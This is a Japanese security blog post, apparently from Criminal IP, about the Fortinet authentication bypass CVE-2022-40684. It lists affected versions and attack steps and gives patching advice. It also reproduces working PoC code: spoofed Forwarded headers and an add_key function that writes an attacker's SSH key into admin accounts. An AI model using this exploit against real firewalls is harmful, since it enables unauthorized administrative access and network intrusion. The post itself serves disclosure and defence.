Fortinet認証バイパス脆弱性 (CVE-2022-40684)、今すぐ点検しなければならない
本投稿はPaloaltoと共に世界565,000人が利用しているFortinetの認証バイパス脆弱性に関する分析および今すぐ点検しなければならないインターネットに漏洩されたFortinetを点検する方法について語ります。
CVE-2022-40684 Fortinet 認証バイパス脆弱性の最新アップデート内容
10月7日、内部顧客に公開した認証バイパス脆弱性はすぐ様々な報告書を通じて外部に知られ、10月10日、影響を受ける全てのFortinetの製品リストと勧告事項を人々に公表しました。
脆弱な製品Fortinet FortiOSバージョン 7.2.0 ~ 7.2.1 及び 7.0.0 ~ 7.0.6、Fortinet FortiProxyバージョン 7.2.0 ~ 7.0.6 及び FortiSwitch Managerバージョン 7.2.0及び7.0.0FortiOS:version 5.x、6.xは影響なし
公表内容によると、ハッカーらは該当バージョンの製品にHTTP/HTTPSリクエストを通じてユーザー、ユーザーのPublic ssh-key、Trusthostzone帯域IP、fortitoken、Serial Number、FortiOSなどの情報がわかります。該当攻撃のみならず、RSAキーを該当サーバーに送ってすり替えたUser ssh keyでアカウントを追加し、製品のCLIにアクセスできます。アクセスに成功すると管理インターフェースを操作できるので、内部網への浸透が可能になります。
攻撃の手順脆弱なサーバーを獲得すると、ログインできるようadmin使用者のSSHキーを自分のキーに修正
- ローカルユーザーを追加
- インターフェースにアクセスし、ネットワーキング構成アップデートを実施
- パケットキャプチャー、インターフェース管理ページを通じて他の機密システム情報を流出
よって、Fortinetはシステムをすぐ検証することを勧告しました。ログの中で 「user= "Local_Process_Access"」ログが発見されると、その時すぐパッチおよび措置を取れという勧告でした。
PoCコードを使って脆弱なFortinetを検知
脆弱な Fortinet サーバーを見つける方法は「api/v2/cmdb/system/admin」にHTTP/HTTPSリクエストを行い、システム情報が流出されるかどうか確認することです。
下記のヘッダーを伝達し認証をバイパスするようにします。
- CVE-2022-40684 PoCコード:https://github.com/carlosevieira/CVE-2022-40684
headers = {
"user-agent": "Node.js",
"accept-encoding": "gzip, deflate","Host": "127.0.0.1:9980",
"forwarded": 'by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=',
"x-forwarded-vdom": "root",
}
脆弱なサーバーを見つけると脆弱なサーバーのヘッダーにキーを伝達し、ssh認証バイパスでアクセス権限を得られます。
def add_key(target, username, key_file):
key = format_key(key_file)
j = {"ssh-public-key1": '\"' + key + '\"'
}
url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
r = requests.put(url, headers=HEADERS, json=j, verify=False)
if 'SSH key is good' not in r.text:
print(f'[-] {target} is not vulnerable!')
else:
print(f'[+] SSH key for {username} added successfully!')
該当PoCコードで外部に開いているFortinetのIPアドレスにHTTP/HTTPSをリクエストすると、サーバーが脆弱なのか最終的に確認できます。
放置されたまま運営中の Fortinet ファイアウォール、即時点検が必要
公開されたPoCで実際の外部インターネットに漏洩された特定 Fortinet IPに対し、脆弱性の点検を行いました。
脆弱なサーバーは画像のように、アクセスできるUsernameと該当ユーザーの権限(read-only、super_admin)、SSH Public keyが漏洩されることが分かります。
Firmwareバージョンは今回脆弱であると判明された 7.2.0バージョンで、Fortigate 100E製品を使用しています。
インターネットに漏洩されたFortinet IPに
CVE-2022-40684 脆弱性PoCで点検した結果
次の場合、adminのSSH public keyがfake-keyになっていることから、今度のFortinet認証バイパス脆弱性の被害サーバーだと推定されます。
CVE-2022-40684 脆弱性PoCで点検した結果
Criminal IP IT資産検索に該当サーバーのIPアドレスを検索すると、Microsoft所有のIPアドレスだということが分かります。(as_name: MICROSOFT-CORP-MSN-AS-BLOCK)
被害サーバーのCriminal IP検索結果
被害サーバーのCriminal IP検索結果
CVE-2022-40684 Fortinet認証バイパス脆弱性による
被害サーバーのCriminal IP検索結果
CVE-2022-40684 Fortinet 認証バイパス脆弱性セキュリティ点検
CVE-2022-40684Fortinet認証バイパス脆弱性はCVSS v3の基準で9.8スコアに評価されました。Fortinetの脆弱性パッチ勧告が出てから何週間が経った時点でもまだ世界中には脆弱な状態でファイアウォールサーバーを運営するところが多いです。
該当する脆弱性は認証バイパスを通じてファイアウォールCLIアクセスができる脆弱性なので、外部に開いているサーバーだけでなく内部網で運営中のサーバーまで危険になります。勧告に従って即時セキュリティアップデートを実施することが重要で、OSバージョンのアップデートが難しければHTTP/HTTPSでインターフェースにアクセスできるIPを制限するか、インターフェースを無効にする必要があります。
関連しては、先月発生した MS Exchangeゼロデイ脆弱性に漏洩されたサーバーの検知方法および脆弱性の分析 について扱った投稿をご参照ください。
データの提供
- Criminal IP
▶ https://www.criminalip.io/ja